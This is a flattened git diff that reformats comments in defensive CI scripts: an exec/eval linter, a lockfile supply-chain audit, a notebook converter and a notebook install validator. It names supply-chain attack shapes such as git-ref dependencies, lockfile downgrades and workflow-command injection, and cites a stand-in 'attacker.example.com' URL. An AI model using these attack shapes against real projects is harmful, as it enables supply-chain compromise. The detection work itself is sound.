merge damage, one per branch is the- # conditional idiom.+ # Each control-flow branch scanned on its own: duplicated INSIDE one branch is merge damage, one per branch is the conditional idiom.(1,"import os\nif os.name:\n def go():\n return 1\n def go():\n return 2\n",@@ -638,8 +515,7 @@ _SELF_TEST_CASES = [(1, "try:\n import json\n import json\nexcept ImportError:\n pass\n"),]-# Guarded, not inlined above: `match` is 3.10 syntax and this tool supports 3.9, where ast.parse raises SyntaxError and-# every case below would report a parse finding instead.+# Guarded, not inlined above: `match` is 3.10 syntax and this tool supports 3.9, where ast.parse raises SyntaxError and every case below would report a parse finding instead.if sys.version_info >= (3, 10):_SELF_TEST_CASES += [(@@ -709,14 +585,11 @@ def main() -> int:renames = _rename_map(args.before, args.after) if args.before else {}for path in paths:if args.before:- # Read both revisions out of git rather than the working tree.- # On a pull_request event the checkout is refs/pull/N/merge, which is neither end of the range being judged.+ # Read both revisions out of git rather than the working tree: on a pull_request event the checkout is refs/pull/N/merge, which is neither end of the range being judged.after = _revision_findings(args.after, str(path))if after is None:continue # not present at the head revision (deleted, or renamed away)- # Only follow a rename back to a path that was ITSELF Python. Renaming `mod.txt` to- # `mod.py` is what makes those definitions active code, so the duplicates in it are- # introduced by this branch, not inherited.+ # Only follow a rename back to a path that was ITSELF Python. Renaming `mod.txt` to `mod.py` is what makes those definitions active code, so the duplicates in it are introduced by this branch, not inherited.old = renames.get(str(path), str(path))before = _revision_findings(args.before, old) if old.endswith(".py") else None# A file the branch ADDS has no before side, so every finding in it is new.diff --git a/scripts/lint_exec_literals.py b/scripts/lint_exec_literals.pyindex b5a6f3f7df1..b080e71c392 100644--- a/scripts/lint_exec_literals.py+++ b/scripts/lint_exec_literals.py@@ -35,19 +35,16 @@ import jsonimport sysfrom pathlib import Path-# Only the bare names. `re.compile(pattern)` and `model.eval()` are not these builtins, and matching on the attribute-# reported 69 of them across the two repositories.+# Only the bare names: `re.compile(pattern)` and `model.eval()` are not these builtins, and matching on the attribute reported 69 of them across the two repositories.SINKS = ("exec", "eval", "compile")-# Notebooks are scanned too: in the notebooks repository they are the maintained source, and a cell runs the same-# interpreter a module does.+# Notebooks are scanned too: in the notebooks repository they are the maintained source, and a cell runs the same interpreter a module does.SUFFIXES = (".py", ".ipynb")REPO_ROOT = Path(__file__).resolve().parents[1]BASELINE_PATH = Path(__file__).resolve().parent / "exec_literals_baseline.json"-# Not part of any commit, or not ours to fail on. `tests` is excluded because a test legitimately keeps a real `exec`-# around as the thing it is asserting about.+# Not part of any commit, or not ours to fail on. `tests` is excluded because a test legitimately keeps a real `exec` around as the thing it is asserting about.EXCLUDED_PARTS = frozenset({"tests",@@ -82,11 +79,7 @@ def _is_written_out(node: ast.AST) -> bool:def _key(relative: str, call: ast.Call) -> dict:- """How a call is remembered: its file, its sink, and a digest of its own source.-- The digest is over `ast.unparse`, so reformatting and moving the call leave the- entry alone while changing what is passed does not.- """+ """How a call is remembered: its file, its sink, and a digest of its own source. The digest is over `ast.unparse`, so reformatting and moving the call leave the entry alone while changing what is passed does not."""return {"file": relative,"sink": call.func.id,@@ -95,12 +88,7 @@ def _key(relative: str, call: ast.Call) -> dict:def _notebook_source(path: Path, relative: str) -> str:- """The Python of a notebook's code cells, one blank line apart.-- A cell is not a module, so they are joined rather than parsed one at a time; a- `%magic` or `!command` line is not Python at all and is blanked, which keeps the- line count and therefore the reported line numbers honest.- """+ """The Python of a notebook's code cells, one blank line apart. A cell is not a module, so they are joined rather than parsed one at a time; a `%magic` or `!command` line is not Python at all and is blanked, which keeps the line count and therefore the reported line numbers honest."""try:document = json.loads(path.read_text(encoding = "utf-8"))except (OSError, UnicodeDecodeError, json.JSONDecodeError) as error:@@ -126,11 +114,9 @@ def scan_file(path: Path, relative: str) -> list[dict]:tree = ast.parse(source, filename = str(path))except (SyntaxError, ValueError, MemoryError, RecursionError) as error:if path.suffix == ".ipynb":- # A notebook that does not parse as one module is ordinary: a cell may be mid-edit, or depend on an- # earlier `%%capture`. Nothing to check, and failing the build for it would be noise.+ # A notebook that does not parse as one module is ordinary: a cell may be mid-edit, or depend on an earlier `%%capture`. Nothing to check, and failing the build for it would be noise.return []- # A .py file that will not parse has not been checked, and reporting it clean is the bypass this whole gate- # exists to avoid.+ # A .py file that will not parse has not been checked, and reporting it clean is the bypass this whole gate exists to avoid.raise SystemExit(f"{relative}: could not be parsed ({error.__class__.__name__})")found = []for node in ast.walk(tree):@@ -155,8 +141,7 @@ def collect(targets: list[str]) -> list[dict]:elif root.is_dir():paths = sorted(q for s in SUFFIXES for q in root.rglob(f"*{s}"))else:- # A target that resolves to nothing means the gate covers less than it claims to, which is a silent hole- # rather than a passing run.+ # A target that resolves to nothing means the gate covers less than it claims to, which is a silent hole rather than a passing run.raise SystemExit(f"{target}: scan target does not exist, so nothing under it was checked")@@ -175,8 +160,7 @@ def collect(targets: list[str]) -> list[dict]:def _counted(entries: list[dict]) -> dict:- """Identity -> how many times it appears. Identity AND count, so a new call cannot- take the place of one that was removed."""+ """Identity -> how many times it appears. Identity AND count, so a new call cannot take the place of one that was removed."""counts: dict = {}for entry in entries:counts[(entry["file"], entry["sink"], entry["digest"])] = (@@ -200,8 +184,7 @@ def main() -> int:found = collect(targets)if arguments.update:- # Existing reasons are carried over. Rebuilding the list from scratch reset every hand-written- # justification to nothing, which is how a reviewed entry silently becomes an unreviewed one.+ # Existing reasons are carried over: rebuilding the list from scratch reset every hand-written justification to nothing, which is how a reviewed entry silently becomes an unreviewed one.reasons = {(e["file"], e["sink"], e["digest"]): e.get("reason", "") for e in document["entries"]}@@ -251,8 +234,7 @@ def main() -> int:stale = sorted(k for k in allowed if k not in observed)if stale:- # A baseline that outlives its call site quietly re-permits whatever lands on that digest next, so it is an- # error rather than a note.+ # A baseline that outlives its call site quietly re-permits whatever lands on that digest next, so it is an error rather than a note.print(f"{len(stale)} baseline entr(y/ies) no longer match any call. Run --update:\n")for f, s, d in stale:print(f" {f} {s} {d}")@@ -283,11 +265,7 @@ def f(name, source):def self_test() -> int:- """The rule has to fire on the bad shapes and stay quiet on the good ones.-- Written out here rather than in the test suite as well, so the gate can prove- itself on a runner that installs nothing but Python.- """+ """The rule has to fire on the bad shapes and stay quiet on the good ones. Written out here rather than only in the test suite, so the gate can prove itself on a runner that installs nothing but Python."""import tempfilefailures = []diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.pyindex 4fd4be070b8..abb295690b2 100644--- a/scripts/lockfile_supply_chain_audit.py+++ b/scripts/lockfile_supply_chain_audit.py@@ -4,22 +4,11 @@"""Lockfile supply-chain audit for the Unsloth frontend and Tauri shell.-Runs BEFORE `npm ci` / `cargo fetch` in CI. Refuses to proceed when a-lockfile contains patterns indicating supply-chain injection (npm-Shai-Hulud waves, cargo crates.io brand-squats).--Checks package-lock.json (lockfileVersion 2/3): `resolved` URL must be-the npm registry (direct git/github/file refs are the injection vector);-`integrity` SHA must be present; known IOC substrings grepped from the-body. Checks Cargo.lock: `source` must be the crates.io registry index;-known cargo IOC substrings.--Exit codes: 0 = clean (or skip env var set to a justification >=5 chars,-not '1'/'true'); 1 = findings; 2 = internal error.--Only PARSES the lockfiles, never executes or networks. Complements (not-replaces) `npm audit` / OSV-Scanner / the advisory-DB pipeline. Fires-before any third-party install script runs on the runner.+Runs BEFORE `npm ci` / `cargo fetch` in CI and refuses to proceed when a lockfile carries patterns indicating supply-chain injection (npm Shai-Hulud waves, cargo crates.io brand-squats). package-lock.json (lockfileVersion 2/3): `resolved` must be the npm registry (direct git/github/file refs are the injection vector), `integrity` SHA must be present, known IOC substrings grepped from the body. Cargo.lock: `source` must be the crates.io registry index, plus known cargo IOC substrings.++Exit codes: 0 clean (or skip env var set to a justification >=5 chars, not '1'/'true'), 1 findings, 2 internal error.++Only PARSES the lockfiles, never executes or networks, and fires before any third-party install script runs on the runner. Complements rather than replaces `npm audit` / OSV-Scanner / the advisory-DB pipeline."""from __future__ import annotations@@ -281,9 +270,7 @@ NPM_REGISTRY_PREFIXES_ALLOWED: tuple[str, ...] = (NPM_REGISTRY_PREFIX,)CARGO_REGISTRY_SOURCE = "registry+https://github.com/rust-lang/crates.io-index"-# Cargo non-registry source allowlist: `(crate_name, exact_source_string)`.-# Both must match verbatim; bumping the pinned SHA forces a re-review. Unsloth's Tauri shell pulls `fix-path-env`-# from git because it is not published to crates.io; commit c4c45d5 was reviewed when it landed.+# Cargo non-registry source allowlist of `(crate_name, exact_source_string)`, both matched verbatim so bumping the pinned SHA forces a re-review. Unsloth's Tauri shell pulls `fix-path-env` from git because it is not published to crates.io; commit c4c45d5 was reviewed when it landed.CARGO_SOURCE_ALLOWLIST: tuple[tuple[str, str], ...] = (("fix-path-env",@@ -311,12 +298,7 @@ class Finding:def _gha_escape(text: str) -> str:- """Escape a string for a GH Actions `::warning::`/`::error::` message.-- GH Actions truncates at the first newline unless `\\n`/`\\r` are- escaped as `%0A`/`%0D`. `%` must be replaced first to avoid- double-encoding the subsequent escapes.- """+ """Escape a string for a GH Actions `::warning::`/`::error::` message: GH Actions truncates at the first newline unless newline and carriage return are escaped as `%0A`/`%0D`, and `%` must be replaced first to avoid double-encoding the rest."""return text.replace("%", "%25").replace("\r", "%0D").replace("\n", "%0A")@@ -384,8 +366,7 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:continueresolved = entry.get("resolved")- # Entries nested in another package's node_modules are bundled fold-ins covered by the parent's integrity; treat- # as transparent.+ # Entries nested in another package's node_modules are bundled fold-ins covered by the parent's integrity; treat as transparent.nested = key.count("/node_modules/") >= 1if resolved is None:@@ -447,8 +428,7 @@ def audit_npm_lockfile(path: Path) -> list[Finding]:))- # Known IOC strings: scan the raw body to catch fields the structural pass doesn't enumerate- # (scripts, optional deps, etc.).+ # Known IOC strings: scan the raw body to catch fields the structural pass does not enumerate (scripts, optional deps, and so on).for ioc in NPM_IOC_STRINGS:if ioc in raw:line_no = _first_line_containing(raw, ioc)@@ -614,13 +594,7 @@ BLOCKING_KINDS: frozenset[str] = frozenset("missing-lockfile","unreadable-lockfile","missing-toml-parser",- # An unsupported lockfileVersion means the audit could not walk- # the dependency tree at all (the structural rules below only- # apply to npm v2/v3). Treating it as advisory would let a v1- # downgrade -- a known supply-chain attack shape -- silently- # pass CI: the scanner reports the kind, exits 0, and no- # blocking finding is raised. Keep this blocking so a checked-in- # lockfile cannot be downgraded out of audit coverage.+ # An unsupported lockfileVersion means the audit could not walk the dependency tree at all (the structural rules below only apply to npm v2/v3). Advisory would let a v1 downgrade, a known supply-chain attack shape, pass CI silently, so keep it blocking."unsupported-lockfile-version",})@@ -680,9 +654,7 @@ def main(argv: list[str] | None = None) -> int:if _skip_raw is not None:_skip = _skip_raw.strip()_invalid_tokens = {"", "1", "0", "true", "false", "yes", "no", "on", "off"}- # Both branches echo the user-supplied env var inside a ``::warning::`` GH Actions workflow command. The raw- # value can contain ``%``, ``\r``, ``\n`` or even another ``::error::`` line (workflow-command injection);- # _gha_escape collapses each message onto a single annotation line per the GH workflow-commands spec.+ # Both branches echo the user-supplied env var inside a ``::warning::`` GH Actions workflow command, and the raw value can contain ``%``, CR, LF or even another ``::error::`` line (workflow-command injection); _gha_escape collapses each message onto a single annotation line per the GH workflow-commands spec.if _skip.lower() in _invalid_tokens or len(_skip) < 5:print("::warning::"@@ -743,8 +715,7 @@ def main(argv: list[str] | None = None) -> int:file = sys.stderr,)for f in advisory:- # GH Actions warning annotation; _gha_escape collapses the multi-line Finding onto one- # line so it renders fully in the UI.+ # GH Actions warning annotation; _gha_escape collapses the multi-line Finding onto one line so it renders fully in the UI.print(f"::warning::{_gha_escape(str(f))}", file = sys.stderr)print(file = sys.stderr)diff --git a/scripts/notebook_to_python.py b/scripts/notebook_to_python.pyindex c50c98270a7..7b176f87c74 100644--- a/scripts/notebook_to_python.py+++ b/scripts/notebook_to_python.py@@ -40,8 +40,7 @@ def needs_fstring(cmd: str) -> bool:def github_blob_to_raw(url: str) -> str:"""Convert GitHub blob URL to raw URL."""- # github.com/user/repo/blob/branch/path -> raw.githubusercontent.com/user/repo/branch/path- # Exact host match (not substring) so attacker.example.com/github.com/blob/... is not rewritten.+ # github.com/user/repo/blob/branch/path -> raw.githubusercontent.com/user/repo/branch/path. Exact host match, not substring, so attacker.example.com/github.com/blob/... is not rewritten.parsed = urllib.parse.urlparse(url)if parsed.netloc != "github.com" or "/blob/" not in parsed.path:return url@@ -86,13 +85,7 @@ def replace_colab_paths(source: str) -> str:def _emit_shell_command(indent: str, full_cmd: str, *, allow_shell: bool) -> list[str]:- """Render a `!cmd` notebook line as Python statements.-- f-string interpolation, shell metacharacters, or multiline force- shell=True (shlex.split would drop operators), flagged with a- WARNING comment. Otherwise emit shell=False argv form. allow_shell- False makes shell=True emission a hard error.- """+ """Render a `!cmd` notebook line as Python statements. f-string interpolation, shell metacharacters or multiline force shell=True (shlex.split would drop operators), flagged with a WARNING comment; otherwise emit the shell=False argv form. allow_shell False makes shell=True emission a hard error."""needs_f = needs_fstring(full_cmd)has_meta = bool(_SHELL_METACHARS_RE.search(full_cmd))multiline = "\n" in full_cmd@@ -156,24 +149,20 @@ def convert_cell_to_python(source: str, *, allow_shell: bool = True) -> str:result.extend(_emit_shell_command(indent, full_cmd, allow_shell = allow_shell))- # %cd path -> os.chdir(path)elif stripped.startswith("%cd "):path = stripped[4:].strip()result.append(f"{indent}os.chdir({path!r})")- # %env VAR=valueelif stripped.startswith("%env ") and "=" in stripped:match = re.match(r"%env\s+(\w+)=(.+)", stripped)if match:var, val = match.groups()result.append(f"{indent}os.environ[{var!r}] = {val!r}")- # %env VARelif stripped.startswith("%env "):var = stripped[5:].strip()result.append(f"{indent}os.environ.get({var!r})")- # %pwdelif stripped == "%pwd":result.append(f"{indent}os.getcwd()")@@ -192,11 +181,9 @@ def convert_notebook(allow_shell: bool = True,) -> str:"""Convert notebook JSON content to Python script."""- # Local, so the string helpers below import without nbformat. The CPU test job- # does not install it, and a module-level import failed collection there.+ # Local, so the string helpers below import without nbformat: the CPU test job does not install it, and a module-level import failed collection there.import nbformat- # Parse notebookif isinstance(notebook_content, str):notebook = nbformat.reads(notebook_content, as_version = 4)else:@@ -257,12 +244,7 @@ def convert_notebook(def converted_filename(filename: str) -> str:- """The .py name this script writes for a given notebook filename.-- One spelling of the rule. notebooks-ci.yml had a second one in shell whose- `tr -c '[:alnum:]_' _` turned basename's trailing newline into a trailing- underscore, so the smoke job looked for `<name>_.py` and never found it.- """+ """The .py name this script writes for a given notebook filename. One spelling of the rule: notebooks-ci.yml had a second one in shell whose `tr -c '[:alnum:]_' _` turned basename's trailing newline into a trailing underscore, so the smoke job looked for `<name>_.py` and never found it."""out = filename.replace(".ipynb", ".py")return out.replace("(", "").replace(")", "").replace("-", "_")@@ -273,15 +255,7 @@ def convert_notebook_to_script(*,allow_shell: bool = True,):- """- Convert a notebook to Python script.-- Args:- source: Local file path or URL to notebook- output_dir: Output directory (optional, defaults to current directory)- allow_shell: When False, refuse to emit `shell=True` for any- `!cmd` cell that uses metacharacters / interpolation.- """+ """Convert a notebook to a Python script. ``source`` is a local file path or URL, ``output_dir`` defaults to the current directory, and ``allow_shell`` False refuses to emit `shell=True` for any `!cmd` cell that uses metacharacters or interpolation."""if is_url(source):content, filename = download_notebook(source)source_name = sourcediff --git a/scripts/notebook_validator.py b/scripts/notebook_validator.pyindex dc8a31e0670..3cd237f576d 100644--- a/scripts/notebook_validator.py+++ b/scripts/notebook_validator.py@@ -53,9 +53,7 @@ from typing import Any, Iterable, Iteratordef _atomic_write_bytes(path: pathlib.Path, data: bytes) -> None:- """Atomic write (see scripts/scan_packages.py::update_req_file). A crash- between mkstemp and os.replace leaves the prior file intact, so a- half-downloaded cache file can't poison later runs."""+ """Atomic write (see scripts/scan_packages.py::update_req_file). A crash between mkstemp and os.replace leaves the prior file intact, so a half-downloaded cache file cannot poison later runs."""path.parent.mkdir(parents = True, exist_ok = True)dirpath = str(path.parent) or "."fd, tmp_path = tempfile.mkstemp(prefix = ".nb_val.", dir = dirpath)@@ -82,8 +80,7 @@ COLAB_PIP_FREEZE_URL = ()COLAB_FALLBACK_FILE = DATA_DIR / "colab_pip_freeze.gpu.txt"-# Oracle files snapshotted from googlecolab/backend-info; colab-diff reports NEW/REMOVED/-# CHANGED, so a base image rotation reaches CI within ~24h.+# Oracle files snapshotted from googlecolab/backend-info; colab-diff reports NEW/REMOVED/CHANGED, so a base image rotation reaches CI within ~24h.# The image's Python, from the os-info oracle. Markers only, so an unreadable snapshot just# replays every requirement._COLAB_OS_INFO_FILE = DATA_DIR / "colab_os_info.gpu.txt"@@ -119,10 +116,7 @@ def _colab_python_version() -> str | None:def _marker_environment(colab: dict[str, str]) -> dict[str, str] | None:- """The environment PEP 508 markers are evaluated against, or None to skip them.-- Only the Colab image, the one environment this can name; anything else replays every- requirement."""+ """The environment PEP 508 markers are evaluated against, or None to skip them: only the Colab image, the one environment this can name, since anything else replays every requirement."""if not colab:return Nonefull = _colab_python_version()@@ -165,10 +159,7 @@ _MARKER_VARIABLES = frozenset(def _requirement_applies(raw: str, environment: dict[str, str] | None) -> bool:- """False only when the requirement carries a marker that is false for `environment`.-- pip skips such a requirement, so replaying its bounds moves a version the cell never touches.- Anything unjudgeable (unparseable marker, no `packaging`, no environment) is replayed."""+ """False only when the requirement carries a marker that is false for `environment`. pip skips such a requirement, so replaying its bounds moves a version the cell never touches; anything unjudgeable (unparseable marker, no `packaging`, no environment) is replayed."""if environment is None or ";" not in raw:return Truemarker_text = raw.split(";", 1)[1].strip()@@ -226,10 +217,7 @@ def _split_marker(text: str) -> tuple[list[str], list[str]]:def _marker_truth(text: str, environment: dict[str, str]) -> bool | None:- """Three-valued marker evaluation: True, False, or unknown.-- An unanswerable field makes its own TERM unknown, not the whole marker: a decisive- `python_version < '3.0' and implementation_name == 'cpython'` stays false on a 3.13 image."""+ """Three-valued marker evaluation: True, False, or unknown. An unanswerable field makes its own TERM unknown, not the whole marker: a decisive `python_version < '3.0' and implementation_name == 'cpython'` stays false on a 3.13 image."""text = text.strip()if not text:return None@@ -268,9 +256,7 @@ COLAB_ORACLE_FILES: dict[str, str] = {"apt-list-gpu.txt": "colab_apt_list.gpu.txt","os-info-gpu.txt": "colab_os_info.gpu.txt",}-# The pip oracle fails --strict, since the rules resolve against it. os-info is rule-bearing-# too (its Python line), so both refresh together and COLAB_STRICT_ORACLE_KEYS makes that one-# line strict. The rest is advisory: an Ubuntu bump nothing consults must not redden CI.+# The pip oracle fails --strict, since the rules resolve against it. os-info is rule-bearing too (its Python line), so both refresh together and COLAB_STRICT_ORACLE_KEYS makes that one line strict. The rest is advisory: an Ubuntu bump nothing consults must not redden CI.COLAB_STRICT_ORACLE = "pip-freeze.gpu.txt"# Keys within a non-strict oracle that are rule-bearing anyway. `python` is the one# _parse_os_lines emits for the "Python 3.13.15" line.@@ -304,8 +290,7 @@ PEFT_TORCHAO_FLOOR: list[dict[str, str]] = [{"trigger_peft": "0.19", "torchao_floor": "0.16.0"},]-# git+ allowlist: install lines that legitimately fetch from GitHub. Anything-# else flags R-INST-001.+# git+ allowlist: install lines that legitimately fetch from GitHub. Anything else flags R-INST-001.GIT_PLUS_ALLOWLIST = ("github.com/SparkAudio/Spark-TTS","github.com/state-spaces/mamba",@@ -337,8 +322,7 @@ class Finding:def iter_notebooks(notebooks_dir: pathlib.Path, include_templates: bool = False) -> Iterator[pathlib.Path]:- """Yield user-facing .ipynb files under nb/ and kaggle/.- include_templates=True also walks original_template/ (for convert)."""+ """Yield user-facing .ipynb files under nb/ and kaggle/. include_templates=True also walks original_template/ (for convert)."""subs = ("nb", "kaggle")if include_templates:subs = ("nb", "kaggle", "original_template")@@ -385,8 +369,7 @@ _PIP_CELL_RE = re.compile(def install_cells(nb: dict[str, Any]) -> list[tuple[int, str]]:- """Heuristic: any code cell that contains a `pip install`, `pip uninstall`- or `uv pip install` shell command, or a top-line `%%capture` magic."""+ """Heuristic: any code cell that contains a `pip install`, `pip uninstall` or `uv pip install` shell command, or a top-line `%%capture` magic."""out = []for i, src in code_cells(nb):first = src.lstrip().splitlines()[:1]@@ -400,8 +383,7 @@ def install_cells(nb: dict[str, Any]) -> list[tuple[int, str]]:return out-# Colab oracle only applies to notebooks that run on Colab; AMD, Kaggle,-# DGX-Spark have their own preinstalls and the Colab-vs-cell rules don't apply.+# Colab oracle only applies to notebooks that run on Colab; AMD, Kaggle, DGX-Spark have their own preinstalls and the Colab-vs-cell rules don't apply.def target_environment(notebook_name: str) -> str:parts = pathlib.PurePath(notebook_name).partsbase = parts[-1] if parts else notebook_name@@ -646,9 +628,7 @@ def parse_pip_line(line: str, line_no: int = 0) -> PipInvocation | None:def _glue_line_continuations(text: str) -> list[tuple[int, str]]:- """Return (logical_line_no, joined_text) for each logical line, treating- a trailing backslash as a continuation. Logical line numbers point at the- first physical line of each logical line."""+ """Return (logical_line_no, joined_text) for each logical line, treating a trailing backslash as a continuation. Logical line numbers point at the first physical line of each logical line."""out: list[tuple[int, str]] = []buf = ""start = 0@@ -2358,9 +2338,7 @@ def pypi_metadata(name: str, version: str) -> dict[str, Any] | None:def transitive_constraint(name: str, version: str, target: str) -> tuple[str | None, list[str]]:- """Return (raw_specifier_string_or_None, list_of_(op,version) tuples)- for the constraint that `name==version` places on `target`.- """+ """Return (raw_specifier_string_or_None, list_of_(op,version) tuples) for the constraint that `name==version` places on `target`."""md = pypi_metadata(name, version)if not md:return None, []@@ -2368,8 +2346,7 @@ def transitive_constraint(name: str, version: str, target: str) -> tuple[str | Nrequires = info.get("requires_dist") or []target_l = target.lower()for req in requires:- # Examples: 'tokenizers (<=0.23.0,>=0.22.0)', 'tokenizers <=0.23.0,>=0.22.0',- # 'tokenizers (>=0.22.0,<=0.23.0); python_version >= "3.9"'+ # Examples: 'tokenizers (<=0.23.0,>=0.22.0)', 'tokenizers <=0.23.0,>=0.22.0', 'tokenizers (>=0.22.0,<=0.23.0); python_version >= "3.9"'head = req.split(";", 1)[0].strip()m = re.match(r"^([A-Za-z0-9._-]+)\s*\(?([^)]*)?\)?\s*$", head)if not m:@@ -2411,13 +2388,7 @@ def constraint_satisfied(version: str, ops: list[tuple[str, str]]) -> bool:def resolved_set(install_cell: str, colab: dict[str, str]) -> dict[str, str]:- """Merge install-cell constraints with Colab pip-freeze (cell wins).-- Resolution order per package: (1) exact `==V` pin, (2) upper-bound `<=V`- (pip picks the highest allowed = V), (3) Colab fallback. Lower-bound `>=V`- is intentionally NOT reflected (it doesn't lower an already-higher Colab- version); R-INST-003 models that via `_install_cell_lower_bound`.- """+ """Merge install-cell constraints with Colab pip-freeze (cell wins). Resolution order per package: (1) exact `==V` pin, (2) upper-bound `<=V` (pip picks the highest allowed = V), (3) Colab fallback. Lower-bound `>=V` is intentionally NOT reflected (it does not lower an already-higher Colab version); R-INST-003 models that via `_install_cell_lower_bound`."""out = dict(colab)pinned: set[str] = set()upper_bounds: dict[str, str] = {}@@ -2638,9 +2609,7 @@ def _install_cell_lower_bound(target: str,environment: dict[str, str] | None = None,) -> str | None:- """Return the highest lower bound any install line places on `target`- (treating `==V` as both bounds), or None. Used by R-INST-003 so a- `torchao>=0.16.0` line satisfies the floor without a `==` pin."""+ """Return the highest lower bound any install line places on `target` (treating `==V` as both bounds), or None. Used by R-INST-003 so a `torchao>=0.16.0` line satisfies the floor without a `==` pin."""best: str | None = Nonefor inv in unconditional_pip_invocations(install_cell):if _is_dry_run(inv):@@ -3144,10 +3113,7 @@ def rule_inst_004_torchcodec_torch(def rule_inst_005_transformers_tokenizers(install_cell: str, colab: dict[str, str], file: str, cell_idx: int) -> list[Finding]:- """Fires only when transformers is installed with `--no-deps` (otherwise- pip resolves tokenizers transitively and flagging would be a false- positive). Targets the PR #261b/#264 pattern: `--no-deps transformers==X`- next to a Colab `tokenizers` outside transformers's window."""+ """Fires only when transformers is installed with `--no-deps` (otherwise pip resolves tokenizers transitively and flagging would be a false positive). Targets the PR #261b/#264 pattern: `--no-deps transformers==X` next to a Colab `tokenizers` outside transformers's window."""findings: list[Finding] = []res = resolved_set(install_cell, colab)tf = res.get("transformers")@@ -3159,7 +3125,6 @@ def rule_inst_005_transformers_tokenizers()if tok is None and not tokenizers_removed:return findings- # Find the transformers pin and check for --no-deps.environment = _marker_environment(colab)transformers_line_no_deps = Falsefor inv in unconditional_pip_invocations(install_cell):@@ -3230,10 +3195,7 @@ def rule_inst_006_double_bang(install_cell: str, file: str, cell_idx: int) -> liclass _APIScanner(ast.NodeVisitor):- """Scan user-facing code cells for known deprecated patterns. R-API-001- (`for_training`/`for_inference`) is intentionally absent: those helpers are- still live as of 2026-05 (PR #221 removed them cosmetically, not as a- deprecation). R-API-004 catches actual removals dynamically."""+ """Scan user-facing code cells for known deprecated patterns. R-API-001 (`for_training`/`for_inference`) is intentionally absent: those helpers are still live as of 2026-05 (PR #221 removed them cosmetically, not as a deprecation). R-API-004 catches actual removals dynamically."""def __init__(self, file: str, cell_idx: int):self.file = file@@ -3241,10 +3203,7 @@ class _APIScanner(ast.NodeVisitor):self.findings: list[Finding] = []def visit_Call(self, node: ast.Call) -> None:- # SFTConfig with suboptimal optim (R-API-003).- # NOTE: PR #221 also stripped gradient_checkpointing kwargs from some- # vision notebooks, but they're still accepted by live TRL (trl==0.25.1)- # so that was cosmetic. We don't flag them; R-API-004 catches real drift.+ # SFTConfig with suboptimal optim (R-API-003). PR #221 also stripped gradient_checkpointing kwargs from some vision notebooks, but they are still accepted by live TRL (trl==0.25.1) so that was cosmetic; R-API-004 catches real drift.if isinstance(node.func, ast.Name) and node.func.id == "SFTConfig":for kw in node.keywords:if (@@ -3300,9 +3259,7 @@ POLICY_CLAUSES_DEFAULT = [def extract_policy_clauses(update_script: pathlib.Path) -> list[tuple[str, re.Pattern[str], Any]]:- """Best-effort scan of update_all_notebooks.py for canonical phrases;- falls back to POLICY_CLAUSES_DEFAULT (which we use directly today). The- permissive regexes avoid false positives on template rewords."""+ """Best-effort scan of update_all_notebooks.py for canonical phrases; falls back to POLICY_CLAUSES_DEFAULT (which we use directly today). The permissive regexes avoid false positives on template rewords."""return list(POLICY_CLAUSES_DEFAULT)@@ -3501,8 +3458,7 @@ def cmd_lint(args: argparse.Namespace) -> int:continuerel = str(path.relative_to(nbdir))env = target_environment(rel)- # Colab oracle applies only to Colab notebooks; other targets get the- # environment-agnostic rules only (their preinstalls aren't tracked).+ # Colab oracle applies only to Colab notebooks; other targets get the environment-agnostic rules only (their preinstalls aren't tracked).oracle = colab if env == "colab" else {}cells = install_cells(nb)# Per-cell forbid-pattern checks.@@ -3638,13 +3594,10 @@ def _oracle_payload_is_usable(upstream_name: str, data: bytes) -> bool:def cmd_refresh_colab(args: argparse.Namespace) -> int:- """Pull the latest Colab pip-freeze.gpu.txt and write to disk. --all- refreshes every oracle file into --snapshot-dir instead, which is how a- colab-diff drift report is acknowledged in one command."""+ """Pull the latest Colab pip-freeze.gpu.txt and write to disk. --all refreshes every oracle file into --snapshot-dir instead, which is how a colab-diff drift report is acknowledged in one command."""if args.all:snapshot_dir = pathlib.Path(args.snapshot_dir).resolve()- # Fetch everything before writing anything: writing as we go would let a transient failure- # leave a mixed-generation directory, and the tripwire would go quiet on a failed refresh.+ # Fetch everything before writing anything: writing as we go would let a transient failure leave a mixed-generation directory, and the tripwire would go quiet on a failed refresh.payloads: dict[str, bytes] = {}skipped: list[str] = []for upstream_name, snapshot_name in COLAB_ORACLE_FILES.items():@@ -3773,8 +3726,7 @@ _COLAB_ORACLE_PARSERS = {def _diff_oracle(upstream: dict[str, str], snapshot: dict[str, str]) -> tuple[list[tuple[str, str]], list[tuple[str, str]], list[tuple[str, str, str]]]:- """Return (new, removed, changed). new/removed are (key, value);- changed is (key, old, new)."""+ """Return (new, removed, changed). new/removed are (key, value); changed is (key, old, new)."""new = sorted((k, upstream[k]) for k in upstream.keys() - snapshot.keys())removed = sorted((k, snapshot[k]) for k in snapshot.keys() - upstream.keys())changed = sorted(@@ -3806,10 +3758,7 @@ def _strict_key_usable(oracle: str, key: str, parsed: dict[str, str]) -> bool:def cmd_colab_diff(args: argparse.Namespace) -> int:- """Diff each Colab oracle file against its committed snapshot and print- NEW/REMOVED/CHANGED. Advisory (rc=0) by default; --strict makes drift in- the rule-bearing oracle (COLAB_STRICT_ORACLE) rc=1 so the daily cron fails- loudly on upstream rotation."""+ """Diff each Colab oracle file against its committed snapshot and print NEW/REMOVED/CHANGED. Advisory (rc=0) by default; --strict makes drift in the rule-bearing oracle (COLAB_STRICT_ORACLE) rc=1 so the daily cron fails loudly on upstream rotation."""snapshot_dir = pathlib.Path(args.snapshot_dir).resolve()any_diff = Falsestrict_diff = Falsediff --git a/scripts/profile_startup.py b/scripts/profile_startup.pyindex 5a8b18801ad..fe35c8ad713 100644--- a/scripts/profile_startup.py+++ b/scripts/profile_startup.py@@ -60,11 +60,7 @@ def _free_port() -> int:def profile_imports(python: str, top: int = 15) -> dict:- """Cumulative and self import cost for the backend's module graph.-- Run in a subprocess with -X importtime: the numbers are only meaningful for a- cold interpreter, and importing in-process would measure a warm sys.modules.- """+ """Cumulative and self import cost for the backend's module graph. Run in a subprocess with -X importtime: the numbers are only meaningful for a cold interpreter, and importing in-process would measure a warm sys.modules."""proc = subprocess.run([python, "-X", "importtime", "-c", "import sys; sys.path.insert(0, '.'); import main"],cwd = BACKEND,@@ -88,8 +84,7 @@ def profile_imports(python: str, top: int = 15) -> dict:}by_cum = sorted(rows, key = lambda r: -r[1])- # Total comes from the `main` row, not by_cum[0]: -X importtime also prints the interpreter's- # own startup graph (`site`), which can outrank a trivial main.+ # Total comes from the `main` row, not by_cum[0]: -X importtime also prints the interpreter's own startup 